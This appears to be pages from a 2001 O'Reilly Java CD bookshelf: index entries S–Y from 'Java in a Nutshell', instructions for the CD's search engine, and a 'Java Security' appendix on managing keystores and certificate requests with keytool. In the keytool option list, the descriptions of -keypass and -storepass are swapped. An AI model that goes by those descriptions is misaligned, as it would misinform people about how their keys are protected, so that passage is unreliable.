message authentication algorithms, supporting: 26. The javax.crypto Package
padding schemes, supporting: 26. The javax.crypto Package
RC5 encryption algorithm, not supporting: 28. The javax.crypto.spec Package
SecretKeyFactory implementations, supporting: 26. The javax.crypto Package
superclasses: 3.4.2. Superclasses, Object, and the Class Hierarchy
fields, shadowing: 3.4.5. Shadowing Superclass Fields
methods, overriding: 3.4.6. Overriding Superclass Methods
suspend( ) (Thread): 12. The java.lang Package
Swing programmming: 6. JavaBeans
switch statements: 2.6.7. The switch Statement
symmetric keys: 4.14. Cryptography
26. The javax.crypto Package
generating: 26. The javax.crypto Package
SyncFailedException: 11. The java.io Package
synchronized methods (Collections): 23. The java.util Package
synchronized statements: 2.6.14. The synchronized Statement
synchronizedList( ) (Collections): 23. The java.util Package
23. The java.util Package
synchronizedSet( ) (Collections): 23. The java.util Package
23. The java.util Package
synchronizing threads: 4.8. Threads
IllegalMonitorStateException: 12. The java.lang Package
system administrators, security for: 5.5.3. Security for System Administrators
System class: 4.5. Arrays
12. The java.lang Package
12. The java.lang Package
system programmers, security for: 5.5. Security for Everyone
system properties, read and write access control: 23. The java.util Package
System.getenv( ) method, conventions/rules for: 7.2. Portability Conventions and Pure Java Rules
System.out.println( ) method: 4.10. Input and Output Streams

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: T

tabs: 1.3.2.8. Blank lines
tailMap( ) (SortedMap): 23. The java.util Package
tailSet( ) (SortedSet): 23. The java.util Package
ternary (three-operand) operators: 2.5.9. The Conditional Operator
text
displaying: 4.10. Input and Output Streams
outputing to file: 4.10. Input and Output Streams
text editors: 1.3.1. Compiling and Running the Program
text files, reading: 4.10. Input and Output Streams
Thread class: 4.8. Threads
12. The java.lang Package
thread synchronization, IllegalMonitorStateException: 12. The java.lang Package
ThreadDeath error: 12. The java.lang Package
ThreadGroup class: 12. The java.lang Package
ThreadLocal class: 12. The java.lang Package
threads: 4.8. Threads
IllegalThreadStateException: 12. The java.lang Package
inheritance: 12. The java.lang Package
InterruptedException: 12. The java.lang Package
multiple, caution with: 4.8. Threads
safety: 23. The java.util Package
23. The java.util Package
23. The java.util Package
synchronizing: 4.8. Threads
terminating: 4.8. Threads
Thread class: 12. The java.lang Package
12. The java.lang Package
ThreadDeath error: 12. The java.lang Package
ThreadGroup class: 12. The java.lang Package
waiting, list of: 4.8. Threads
throw statements: 2.6.15. The throw Statement
Throwable interface: 12. The java.lang Package
12. The java.lang Package
throwing exceptions: 1.3.3. Exceptions
@throws doc-comment tag: 7.3.2. Doc-Comment Tags
7.3.2. Doc-Comment Tags
time-to-live (TTL) values: 16. The java.net Package
Timer class: 4.8. Threads
23. The java.util Package
23. The java.util Package
TimerTask class: 4.8. Threads
23. The java.util Package
23. The java.util Package
times: 4.4. Dates and Times
TimeZone class: 23. The java.util Package
23. The java.util Package
SimpleTimeZone class: 23. The java.util Package
toArray( )
BeanContextMembershipEvent class: 10. The java.beans.beancontext Package
Collection interface: 23. The java.util Package
toBinaryString( )
Integer class: 12. The java.lang Package
Long class: 12. The java.lang Package
toByteArray( ) (ByteArrayOutputStream): 11. The java.io Package
toCharArray( ): 12. The java.lang Package
CharArrayWriter class: 11. The java.io Package
toHexString( )
Integer class: 12. The java.lang Package
Long class: 12. The java.lang Package
tokenizing words: 4.2. Strings and Characters
toLowerCase( ): 12. The java.lang Package
toOctalString( )
Integer class: 12. The java.lang Package
Long class: 12. The java.lang Package
tools: 8. Java Development Tools
TooManyListenersException: 23. The java.util Package
toPattern( )
ChoiceFormat class: 22. The java.text Package
MessageFormat class: 22. The java.text Package
toString( )
Byte class: 12. The java.lang Package
ByteArrayOutputStream class: 11. The java.io Package
CharArrayWriter class: 11. The java.io Package
Integer class: 12. The java.lang Package
Long class: 12. The java.lang Package
MessageFormat class: 22. The java.text Package
Object class: 12. The java.lang Package
PrintStream class: 11. The java.io Package
Short class: 12. The java.lang Package
StringBuffer class: 12. The java.lang Package
StringWriter class: 11. The java.io Package
Subset class: 12. The java.lang Package
totalMemory( ): 12. The java.lang Package
toUpperCase( ): 12. The java.lang Package
traceInstructions( ): 12. The java.lang Package
traceMethodCalls( ): 12. The java.lang Package
TreeMap class: 23. The java.util Package
TreeSet class: 23. The java.util Package
trim( ): 12. The java.lang Package
trimToSize( ) (ArrayList): 23. The java.util Package
triple-DES key: 28. The javax.crypto.spec Package
try clause: 2.6.16.1. try
try/catch/finally statements: 2.6.16. The try/catch/finally Statement
TTL values: 16. The java.net Package
type conversion or casting operator (( )): 2.5.11. Special Operators
type conversions: 2.4.6. Type Conversions
types: 4.7. Types, Reflection, and Dynamic Loading

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: U

Uicode character set, subset: 12. The java.lang Package
unary (~) operator (see bitwise complement operator)
unary minus (-): 2.5.2. Arithmetic Operators
uncaughtException( ) (ThreadGroup): 12. The java.lang Package
UndeclaredThrowableException: 14. The java.lang.reflect Package
14. The java.lang.reflect Package
undecremented values: 2.5.4. Increment and Decrement Operators
underscore (_) in identifier name: 2.3. Identifiers and Reserved Words
unicast events (JavaBeans): 6.1. Bean Basics
Unicode character set: 2.1. The Unicode Character Set
7.1. Naming and Capitalization Conventions
PrintStream class and: 11. The java.io Package
UnicodeBlock class: 12. The java.lang Package
UTFDataFormatException: 11. The java.io Package
Unicode currency symbols: 2.3. Identifiers and Reserved Words
uniform resource locators (see URLs)
UnknownError: 12. The java.lang Package
UnknownHostException: 16. The java.net Package
UnknownServiceException: 16. The java.net Package
unmodifiable methods (Collection): 23. The java.util Package
unread( )
PushbackInputStream class: 11. The java.io Package
PushbackReader class: 11. The java.io Package
UnrecoverableKeyException: 17. The java.security Package
unreliable datagram packets: 16. The java.net Package
UnresolvedPermission class: 17. The java.security Package
UnsatisfiedLinkError: 12. The java.lang Package
unsigned right shift (>>>) operator: 2.5.7. Bitwise and Shift Operators
UnsupportedClassVersionError: 12. The java.lang Package
UnsupportedEncodingException: 11. The java.io Package
UnsupportedOperationException: 12. The java.lang Package
23. The java.util Package
23. The java.util Package
23. The java.util Package
until loop: 1.3.2.12. Looping and computing the factorial
untrusted code: 5. Java Security
update( )
Checksum interface: 25. The java.util.zip Package
Cipher class: 26. The javax.crypto Package
MessageDigest class: 17. The java.security Package
Observable class: 23. The java.util Package
Observer interface: 23. The java.util Package
Signature class: 17. The java.security Package
URL class: 4.11. Networking
input/output streams and: 4.11. Networking
URL (Uniform Resource Locators)s: 4.11. Networking
URLClassLoader class: 16. The java.net Package
URLDecoder class: 16. The java.net Package
URLEncoder class: 16. The java.net Package
URLs, Java language specification: 2. Java Syntax from the Ground Up
URLs (Uniform Resource Locators)
examples in this book: 0.5. Examples Online
HttpURLConnection class: 16. The java.net Package
InfoBus standard extension: 6. JavaBeans
JAR archive URLs: 16. The java.net Package
Java Activation Framework standard extension: 6. JavaBeans
Java programming: 0.4. Java Programming Resources Online
tutorial: 1.3.3. Exceptions
JavaBeans conventions: 6. JavaBeans
6. JavaBeans
MalformedURLException: 16. The java.net Package
portability certification program (Sun): 7.2. Portability Conventions and Pure Java Rules
quick reference material, generating: 0.8. How the Quick Reference Is Generated
SDK: 1.3.1. Compiling and Running the Program
security: 5.5.3. Security for System Administrators
URL class: 16. The java.net Package
16. The java.net Package
URLConnection class: 16. The java.net Package
16. The java.net Package
URLStreamHandler class: 16. The java.net Package
URLStreamHandlerFactory interface: 16. The java.net Package
useProtocolVersion( ) (ObjectOutputStream): 11. The java.io Package
user preference files, Properties class and: 4.6. Collections
username and password, encapsulating: 16. The java.net Package
users, security and: 5.5. Security for Everyone
UTF-8 encoding, UTFDataFormatException: 11. The java.io Package
UTFDataFormatException: 11. The java.io Package

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: V

validateObject( ) (ObjectInputValidation): 11. The java.io Package
validatePendingAdd( )(BeanContextSupport): 10. The java.beans.beancontext Package
validatePendingSetBeanContext( ) (BeanContextChildSupport): 10. The java.beans.beancontext Package
validation
InvalidObjectException: 11. The java.io Package
ObjectInputValidation class: 11. The java.io Package
valueOf( )
Boolean class: 12. The java.lang Package
Byte class: 12. The java.lang Package
Float class: 12. The java.lang Package
Integer class: 12. The java.lang Package
Long class: 12. The java.lang Package
Short class: 12. The java.lang Package
String class: 12. The java.lang Package
values( ), Map interface: 23. The java.util Package
variable scope: 1.3.2.7. The end of a method
variables: 1.3.2.4. Declaring a variable and parsing input
2.5. Expressions and Operators
declaring: 1.3.2.4. Declaring a variable and parsing input
IllegalAccessError: 12. The java.lang Package
local: 2.6.5. Local Variable Declaration Statements
capitalization/naming conventions: 7.1. Naming and Capitalization Conventions
Vector class: 4.6. Collections
23. The java.util Package
verification (VerifyError): 12. The java.lang Package
verify( )
Certificate class: 19. The java.security.cert Package
Signature class: 17. The java.security Package
SignedObject class: 17. The java.security Package
X509Certificate class: 19. The java.security.cert Package
X509CRL class: 19. The java.security.cert Package
vetoableChange( ): 9. The java.beans Package
VetoableChangeListener interface: 9. The java.beans Package
9. The java.beans Package
10. The java.beans.beancontext Package
VetoableChangeSupport class: 9. The java.beans Package
VirtualMachineError: 12. The java.lang Package
visibility
members, working with: 14. The java.lang.reflect Package
Visibility interface: 9. The java.beans Package
VM implementations: 1.1.2. The Java Virtual Machine
Void class: 12. The java.lang Package

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: W

wait( ) (Object): 4.8. Threads
12. The java.lang Package
12. The java.lang Package
Object class: 12. The java.lang Package
waitFor( ): 12. The java.lang Package
weak references, package for: 4.1. Java Platform Overview
WeakHashMap class: 23. The java.util Package
WeakReference class: 13. The java.lang.ref Package
13. The java.lang.ref Package
while loop: 1.3.2.12. Looping and computing the factorial
while statements: 2.6.8. The while Statement
whitespaceChars( ): 11. The java.io Package
widening conversions: 2.4.6. Type Conversions
wizards: 6.1. Bean Basics
wordChars( ): 11. The java.io Package
WordPad: 1.3.1. Compiling and Running the Program
write( ): 11. The java.io Package
24. The java.util.jar Package
BufferedWriter class: 11. The java.io Package
CharArrayWriter class: 11. The java.io Package
CheckedOutputStream class: 25. The java.util.zip Package
DataOutputStream class: 11. The java.io Package
DeflaterOutputStream class: 25. The java.util.zip Package
DigestOutputStream class: 17. The java.security Package
FileOutputStream class: 11. The java.io Package
FilterOutputStream class: 11. The java.io Package
FilterWriter class: 11. The java.io Package
GZIPOutputStream class: 25. The java.util.zip Package
Manifest class: 24. The java.util.jar Package
ObjectOutputStream class: 11. The java.io Package
OutputStream class: 11. The java.io Package
PrintWriter class: 11. The java.io Package
StringWriter class: 11. The java.io Package
ZipOutputStream class: 25. The java.util.zip Package
``Write once, run anywhere'': 7.2. Portability Conventions and Pure Java Rules
WriteAbortedException: 11. The java.io Package
writeExternal( ): 11. The java.io Package
writeFields( ), ObjectOutputStream class: 11. The java.io Package
writeObject( )
ObjectOutputStream class: 11. The java.io Package
11. The java.io Package
11. The java.io Package
Serializable interface: 11. The java.io Package
Writer class: 4.10. Input and Output Streams
writeReplace( ) (Certificate): 19. The java.security.cert Package
writers
BufferedWriter class: 11. The java.io Package
CharArrayWriter class: 11. The java.io Package
FileWriter class: 11. The java.io Package
FilterWriter class: 11. The java.io Package
OutputStreamWriter class: 11. The java.io Package
PipedWriter class: 11. The java.io Package
PrintWriter class: 11. The java.io Package
11. The java.io Package
StringWriter class: 11. The java.io Package
Writer class: 11. The java.io Package
11. The java.io Package
writeTo( ), CharArrayWriter class: 11. The java.io Package
writeUTF( ), DataOutputStream class: 11. The java.io Package

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: X

X509Certificate class: 19. The java.security.cert Package
19. The java.security.cert Package
19. The java.security.cert Package
19. The java.security.cert Package
(see also Certificate class)
X509CRL class: 19. The java.security.cert Package
19. The java.security.cert Package
19. The java.security.cert Package
19. The java.security.cert Package
19. The java.security.cert Package
X509CRLEntry class: 19. The java.security.cert Package
19. The java.security.cert Package
(see also CRLEntry class)
X509EncodedKeySpec interface: 21. The java.security.spec Package
X509Extension interface: 19. The java.security.cert Package
xterm window: 1.3.1. Compiling and Running the Program

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: Y

yield( ) (Thread): 12. The java.lang Package
12. The java.lang Package

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Java in a Nutshell Search Page

Java™ in a Nutshell Search this book

Full Text Search

If you are having difficulty searching, or if you have not used this search utility before, please read this.

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


The Java Enterprise CD Search Page

The Java Enterprise CD Bookshelf

Full Text Search

If you are having difficulty searching, or if you have not used this search utility before, please read this.

The Java Enterprise CD Bookshelf Navigation

Copyright © 2001 by O'Reilly & Associates. All rights reserved.
Questions, comments, and suggestions to bookquestions@ora.com.


Using the JObjects Search Engine

General Information

The search engine used on this CD-ROM is the QuestAgent Pro version 4.0.9. from JObjects (http://www.jobjects.com/). It uses a Java applet interface to query a pre-generated index of terms derived from the full text of all book pages on the CD-ROM. The applet and index are licensed to O'Reilly and Associates for use with the Java Enterprise CD Bookshelf and may not be copied or redistributed for other purposes. See the copyright page for more information about restrictions on the content of this CD.

Requirements

The search engine works with any Java-enabled browser supporting version Java 1.1.2 or later. It has been tested with Explorer 4.5 and Netscape 4.1 on Windows 95, Windows 98, Windows NT, Solaris, Linux, and Macintosh 8.5 operating systems.

Instructions

Search for a term in one book

  1. Open the search engine's web page on the CD-ROM by clicking on the SEARCH button at the top of any page in the book. (It will be in a file called fsearch.htm in a subdirectory of the book called jobjects). Alternatively, you may use the top-level search page (accessible as the link Search Entire CD Bookshelf on the main library page), but you must narrow the search to the book you want by selecting the title from the pop-up menu on the left side of the interface window.
  2. Select the text box at the top of the search interface window and type in a term.
  3. Click the Search button.
  4. The text box at the bottom of the interface window will show all matching results by filename.
  5. Click on a link in the text box or revise your search parameters.

Search for a term in all books

  1. Open the top-level search page on the CD-ROM by following the Search Entire CD Bookshelf link from the main library page and select "Search Entire CD Bookshelf" from the popup menu on the left side of the interface window.
  2. Select the text box at the top of the search interface window and type in a term.
  3. Click the Search button.
  4. The text box at the bottom of the interface window will show all matching results by filename. To ascertain which book they are from, move the cursor over each link and observe the full path in the field above the text box that contains the book's short name (e.g. "ebeans" for "Enterprise JavaBeans").
  5. Click on a link in the text box or revise your search parameters.

Multiple terms and Boolean operators in searches

The QuestAgent Pro search engine understands simple "boolean operations." By default, if you type multiple terms separated by spaces, they will be treated as arguments to an AND. In other words, every matching file will have to contain all the terms.

Alternatively, you can insert the word "OR" between each term if you are interested in files that contain any of the terms.

The word "NOT" can be used before a term to require that it not be present in the files.

Parentheses can be used to group terms and operators.

Other functionality

Select the popup menu to the right of the text field to select a maximum number of results to display.

The field selector does not currently contain any items to narrow searching. Future CD-ROMs may use this feature, however.

The Java Enterprise CD Bookshelf Navigation

Copyright © 2001 by O'Reilly & Associates. All rights reserved.
Questions, comments, and suggestions to bookquestions@ora.com.


Security Tools (Java Security)

 Java Security Search this book

Appendix A. Security Tools

Contents:

The keytool
The jarsigner Tool
The policytool
Files to Administer by Hand

In this appendix, we'll discuss the tools that come with the JDK that allow developers, end users, and system administrators to deal with the security aspects of the Java platform. These tools are only available in Java 1.2,[1] since they primarily deal with operations that require the support of 1.2.[2] As Java's security model advances, these tools have become primary interfaces to establishing a secure sandbox for Java applications.

[1]1.2 is now Java 2.

[2]The javakey utility in 1.1 can be used to sign JAR files and to operate like the keytool; that utility is obsolete in 1.2.

To a lesser extent, these tools have become an interface for establishing a secure sandbox for Java applets as well. However, as we've seen, not all the security features of the Java platform have yet been uniformly adopted by all browsers. In part, it is a problem with logistics. As this book went to press, Java 1.2 was still a new release. Clearly it will take some time before these new features can be propagated to browsers. Part of the problem, though, lies in the fact that Java applications (and Java browsers) ultimately decide upon their own security features.

This last fact is true of your own applications as well: you can certainly use the keytool utility that comes with the JDK to manage your public key/private key databases. But if it is appropriate, you may want to replace (or at least supplement) the keytool with your own key management tool that handles some of the situations we discussed in Chapter 11, "Key Management".

A.1. The keytool

In Chapter 11, "Key Management" we discussed the KeyStore class, which provides an interface to a key management system. The Java platform comes with a tool--keytool--that provides an administrative interface to that class. Keytool allows end users and system administrators to add, delete, and modify entries in the keystore (provided that they have sufficient permissions, of course).

When we discussed the KeyStore class, we mentioned that it had some limitations that may lead you to write your own implementation of that class. The good news is that if you write such a class, you may still use keytool to administer your set of keys. Since keytool uses the standard interface provided by the KeyStore class, it will be (mostly) compatible with any new class that you install into that interface (we'll remind you how to do that at the end of this appendix). However, there are some exceptions to this: keytool itself places some restrictions upon the algorithms that may be used to support particular keys.

Before we examine the workings of keytool, let's review a few objects that we talked about in Chapter 11, "Key Management". When we discussed the KeyStore class, we defined the following terms:

keystore

The keystore is the file that actually holds the set of keys; keytool operates on this file. In other implementations of the KeyStore class, the keystore may not be a file--the keys in that implementation may be held in a database or some other structure. Regardless, we refer to the set of keys on disk (or wherever they are located) as the keystore.

In keytool, this file is called .keystore and is held in the directory specified by the property user.home. On Unix systems, this directory defaults to the user's home directory (e.g., $HOME); on Windows systems, this directory defaults to the concatenation of the HOMEDRIVE and HOMEPATH environment variables (e.g., C:\).

alias

An alias is a shortened, keystore-specific name for an entity that has a key in the keystore. I choose to store my public and private key in my local keystore under the alias "sdo"; if you have a copy of my public key, you may use that alias, or you may use another alias (like "ScottOaks"). The alias used for a particular entity is completely up to the discretion of the individual who first enters that entity into the keystore.

DN (distinguished name)

The distinguished name for an entity in the keystore is a subset of its full X.500 name. This is a long string; for example, my DN is:

Class Definition

CN=Scott Oaks, OU=SMCC, O=Sun Microsystems, L=New York, S=NY, C=US

DNs are used by certificate authorities to refer to the entities to whom they supply a certificate. Hence, unlike an alias, the DN for a particular key is the same no matter what keystore it is located in: if I send you my public key, it will have the DN encoded in the public key's certificate.

However, nothing prevents me from having two public keys with different DNs (I might have one for personal use that omits references to my place of employment). And there is no guarantee that two unrelated individuals will not share the same DN (in fact, you can count on this type of namespace collision to occur).

key entries and certificate entries

There are two types of entries in the keystore: key entries and certificate entries. A key entry is an entry that has a private key as well as a corresponding public key. The public key in this case is embedded in a certificate, and there is a chain of certificates that vouch for the public key.

A certificate entry, on the other hand, does not contain a private key; it contains only a public key held in a certificate. In addition, there is only a single certificate associated with this entry.

With that in mind, we'll look at the various commands that keytool provides. At present, keytool only has a command-line interface; we'll look at the typical commands that add, modify, list, and delete entries in the keystore.

A.1.1. Global Options to keytool

Keytoolimplements a number of global options--options that are available to most of its commands. We'll list these as appropriate for each command, but here's an explanation of what they do:

-alias alias

Specify the alias the operation should apply to (e.g., -alias sdo). The default for this value is "mykey."

-dname distinguishedName

Specify the distinguished name. There is no default for this value, and if you do not specify it on the command line, you will be prompted to enter it when it is needed. Letting keytoolprompt you is generally easier, since the tool will prompt for the name one field at a time. Otherwise, you must enter the entire name in one quoted string, e.g.:

Class Definition

-dname \
"CN=Scott Oaks, OU=SMCC, O=Sun Microsystems, L=New York, S=NY, C=US"
-keypass password

Specify the password used to protect the entire keystore. Access to any element in the keystore requires this global password (programmatically, this is the password that is passed to the load() method of the KeyStore class). If this password is not provided on the command line, you will be prompted for it. This is generally more secure than typing it on a command line or in a script where others might see it. Passwords must be at least six characters long.

Note that even though the KeyStore class allows you to read entries from the keystore without this password, keytool does not.

-keystore filename

Specify the name of the file that holds the keystore (programmatically, this file will be opened and passed as the input stream argument to the load() method of the KeyStore class). The default value of this is the .keystore file described above.

-storepass password

Specify the password used to protect a particular entry's private key. This is usually not (and should not be) the same as the global password. There should be a different password for each private key that is specific to that entry. This allows the keystore to be shared among many users. If this password is not provided on the command line, you will be prompted for it, which is generally the more secure way to enter this password.

-storetype storetype

Specify the type of keystroke that the keytool should operate on. This defaults to the keystroke type in the java.security file, which defaults to JKS, the keystore type provided by the Sun security provider.

-v

Verbose--print some information about the operations keytool is performing.

A.1.2. Adding a Certificate Entry

In order to add a certificate entry to the database, you use this command:

-import

Import a certificate into the database. This command either creates a new certificate entry or imports a certificate for an existing key entry. This command supports the following options:

-alias alias
-keypass keypass
-keystore keystore
-storepass storepass
-storetype storetype
-v
-file inputFile

The file containing the certificate that is being imported. The certificate must be in RFC 1421 format. The default is to read the data from System.in.

-noprompt

Do not prompt the user about whether or not the certificate should be accepted.

-trustcacerts

Use the cacerts file to obtain trusted certificates from certificate autorities that have signed the certificate that is being imported.

When you import a certificate, the information contained in that certificate is printed out; this information includes the distinguished names of the issuer and the principal, and the fingerprint of the certificate. Well-known certificate authorities will publish their fingerprints (on the Web, in trade papers, and elsewhere). It is very important for you to verify the displayed fingerprint with the published fingerprint in order to verify that the certificate does indeed belong to the principal named in the certificate.

Let's say that I have a certificate for the ACME certificate authority in the file amce.cer. I can import it with this command:

Class Definition

piccolo% keytool -import -alias acme -file acme.cer
Enter keystore password:  ******
Owner: CN=ACME, OU=ACME CA Services, O=ACME Inc., L=New York, S=NY, C=US
Issuer: CN=ACME, OU=ACME CA Services, O=ACME Inc., L=New York, S=NY, C=US
Serial Number: 34cbd057
Valid from: Sun Jan 25 18:52:55 EST 1998 until: Sat Apr 25 19:52:55 EDT 1998
Certificate Fingerprints:
    MD5:  51:4E:52:2C:1B:14:38:52:DB:30:5D:46:A9:46:FF:BB
    SHA1: 9F:B2:18:4A:63:8B:F8:EB:A6:A0:56:DB:C7:1B:B3:CC:F5:4B:BA:72
Trust this certificate? [no]:  yes

After typing in the command, keytool prints the given names, serial number, and fingerprints, and asks for verification before it actually enters the certificate into the keystore. After receiving a yes answer, the entry is made.

A.1.3. Adding a Key Entry

To add a key entry to the database (that is, an entry containing a private key), use this command:

-genkey

Generate a key pair and add that entry to the keystore. This command supports these options:

-alias alias
-dname DN
-keypass keypass
-keystore keystore
-storepass storepass

-storetype storetype

-keyalg AlgorithmName

Use the given algorithm to generate the key pair. For the default Sun security provider, the name must be DSA, which is also the default value for this option. Despite the presence of this option, you cannot really specify another algorithm name, nor, for that matter, can you use a non-Sun DSA provider. Internally, keytool expects the key generator to produce keys that belong to a specific class in the sun package.

-keysize keysize

Use the given keysize to initialize the key pair generator. The default value for this option is 1024. Since the key is a DSA key, the value must be between 512 and 1024 and be a multiple of 64.

-sigalg signatureAlgorithm

Specify the signature algorithm that will be used to create the self-signed certificate; this defaults to SHA-1/DSA, which is supported by the Sun security provider. Like the key algorithm, this option is not particularly useful at present, since you cannot use your own security provider classes to implement the signature.

-validity nDays

Specify the number of days for which the self-signed certificate should be valid. The default value for this option is 90 days.

The key entry that is created in this manner has the generated private key. In addition, the public key is placed into a self-signed certificate; that is, a certificate that identitifies the holder of the public key (using the distinguished name argument) and is signed by the holder of the key itself. This is a valid certificate in all senses, although other sites will probably not accept the certificate since it is not signed by a known certificate authority (CA). But the self-signed certificate can be used to obtain a certificate from a CA.

In order to use this self-signed certificate to obtain a certificate from a CA, you must first generate a certificate signing request (CSR). The CSR contains the distinguished name and public key for a particular alias and is signed using the private key of the alias; the CA can then verify that signature and issue a certificate verifying the public key. CSRs are generated with this option:

-certreq

Generate a certificate signing request. This command supports the following options:

-alias alias
-keypass keypass
-keystore keystore
-storepass storepass

-storetype storetype

-v
-sigalg signatureAlgorithm

Use the given algorithm to sign the CSR. This option is not presently useful, as the internal design of keytool only supports SHA-1/DSA signatures created by the Sun security provider.

-file outputFile

Store the CSR in the given file. The format of the CSR is defined in PKCS#10. The default is to write the CSR to System.out.

Once you have the CSR in a file, you must send it to the CA of your choice. Different CAs have different procedures for doing this, but all of them will send you back a certificate they have signed that verifies the public key you have sent to them. There are a few different formats in which the CA will send back a certificate; the only format that is presently supported by keytool is RFC 1421 (so you should use a CA that supports this format, of course). You must also use a CA for whom you have a certificate entry (but the CA will often send you its self-signed certificate anyway).

Once you've received the file containing the new certificate, you can import it into the keystore using the -import command we discussed previously.

Here's an example of how all these commands can be used to create an entry with a private key and a certified public key. First, we must create the entry:

Class Definition

piccolo% keytool -genkey -alias sdo
Enter keystore password:  ******
What is your first and last name?
  [Unknown]:  Scott Oaks
What is the name of your organizational unit?
  [Unknown]:  SMCC
What is the name of your organization?
  [Unknown]:  Sun Microsystems
What is the name of your City or Locality?
  [Unknown]:  New York
What is the name of your State or Province?
  [Unknown]:  NY
What is the two-letter country code for this unit?
  [Unknown]:  US
Is <CN=Scott Oaks, OU=SMCC, O=Sun Microsystems, L=New York, S=NY, C=US> correct?
  [no]:  yes

Enter key password for <sdo>
        (RETURN if same as keystore password):  ******

At this point, we now have an entry for sdo in the keystore. That entry has a self-signed certificate; note that we had the tool prompt us for all the entries that comprise the DN rather than attempting to type it all in on the command line. The next step is to generate the CSR:

Class Definition

piccolo% keytool -certreq -alias sdo -file sdoCSR.cer
Enter keystore password:  ******

The file sdoCSR.cer contains the CSR which must now be sent to a CA. Note that we must send the CSR to an authority for whom we already have a certificate entry--that is, for whom we already have a public key. Otherwise, when the response to the CSR comes, we will be unable to verify the signature of the CA that issued the new certificate.

When the response does come, we must save it to a file. If we save it to the file sdo.cer, we can import it with this command:

Class Definition

piccolo% keytool -import -file sdo.cer -alias sdo
Enter keystore password:  ******

Assuming that the certificate is valid, this imports the new certificate into the keystore. The certificate is invalid if the public key for sdo does not match the previously defined public key in the database, or if the certificate was issued by an authority for whom we do not possess a public key, or if the certificate signature is invalid (which would be the case if data in the certificate had been modified in transit).

The state of the sdo entry in the keystore has changed during this example:

  • After the first command, the sdo entry has a single certificate; that certificate is issued by sdo.

  • After the import command, the sdo entry has two certificates in its certificate chain: the first certificate is issued by Acme and has a principal of sdo; the second certificate is Acme's self-signed certificate (a copy of the one that was imported when the Acme certificate entry was created).

In programmatic terms, the getCertificateChain() method of the KeyStore class will return an array of one and two elements, respectively, for these cases.

We've mentioned in this section that in order to import a certificate like this, the self-signed certificate of the certificate authority must already be in the keystore. However, there's a bootstrapping issue involved in this: how do you get the initial certificates for the certificate authorities into a keystore?

The JDK comes with a set of five pre-installed certificates: four from VeriSign, which issues certificates at different levels, and one from RSA Data, Inc. These certificates are in the cacerts file in the ${JAVAHOME}/lib/security directory. While those certificates are not present in your .keystore file, you can still import certificates into your .keystore file by using the -trustcacerts option: in that case, as long as the certificate you're importing has been signed by one of the authorities in the cacerts file, the import operation will succeed.

Hence, if we'd sent our CSR request in the above example to VeriSign and the returned certificate from VeriSign was stored in the sdo.cer file, we could import it with this comand:

Class Definition

piccolo% keytool -import -file sdo.cer -alias sdo -trustcacerts

If you want to use the certificates of the certificate authorities programatically, you may do so by creating a keystore of type JKS, and loading that keystore from the cacerts file.

A.1.4. Modifying Keystore Entries

There is no practical way to modify a certificate entry in the keystore. You may delete an existing entry and add a new one if required.

There is one command that can modify the data within a key entry:

-selfcert

Change the certificate chain associated with the target key entry. Any previous certificates (including ones that may have been imported from a valid certificate authority) are deleted and replaced with a new self-signed certificate; this certificate can be used to generate a new CSR. The public and private keys associated with the alias are unchanged, but you may specify a new value for the DN on the command line. Hence, one use for this command is to change the DN for a particular entry.

This command supports the following options:

-alias alias
-dname DN
-keypass keypass
-keystore keystore
-storepass storepass
-storetype storetype
-sigalg algorithmName

Use the given algorithm to generate the signature in the self-signed certificate; as in other cases, this option only supports the DSA algorithm no matter what algorithms may be supported by your security provider.

-validity nDays

The number of days for which the self-signed certificate is valid. The default is 90 days.

The -keyclone command is often used with this command, which can create a copy of the original entry before the DN is changed:

-keyclone

Clone the target entry. The cloned entry will have the same private key and certificate chain as the original entry. This command supports the following options:

-alias alias
-keypass keypass
-keystore keystore
-storepass storepass
-storetype storetype
-v
-dest newAlias

The new alias name of the cloned entry. If this is not specified, you will be prompted for it.

-new newPassword

The new password for the cloned entry. If this is not specified, you will be prompted for it.

To change the password associated with a particular key entry, use this command:

-keypasswd

Change the password for the given key entry. This command supports the following options:

-alias alias
-keystore keystore
-storepass storePassword
-storetype storetype
-keypass originalPassword
-new newPassword

Specify the new password for the entry. If this option is not supplied, you will be prompted for the new password.

A.1.5. Deleting Keystore Entries

There is a single command to delete either a key entry or a certificate entry:

-delete

Delete the entry of the specified alias. If a certificate entry for a certificate authority is deleted, there is no effect upon key entries that have been validated by the authority. This command supports the following options:

-alias alias

-keystore keystore

-storepass storepass

-storetype storetype

-v

A.1.6. Examining Keystore Data

If you want to examine one or more entries in the keystore, you may use the following commands:

-list

List (to System.out) one or more entries in the keystore. If an alias option is given to this command, only that alias will be listed; otherwise, all entries in the keystore are listed. This command supports the following options:

-alias alias
-keystore keystore
-storepass storepass
-storetype storetype
-v
-rfc

When displaying certificates, display them in RFC 1421 standard. This option is incompatible with the -v option.

-export

Export the certificate for the given alias to a given file. The certificate is exported in RFC 1421 format. If the target alias is a certificate entry, that certificate is exported. Otherwise, the first certificate in the target key entry's certificate chain will be exported. This command supports the following options:

-alias alias
-keystore keystore
-storepass storepass
-storetype storetype
-v
-file outputFile

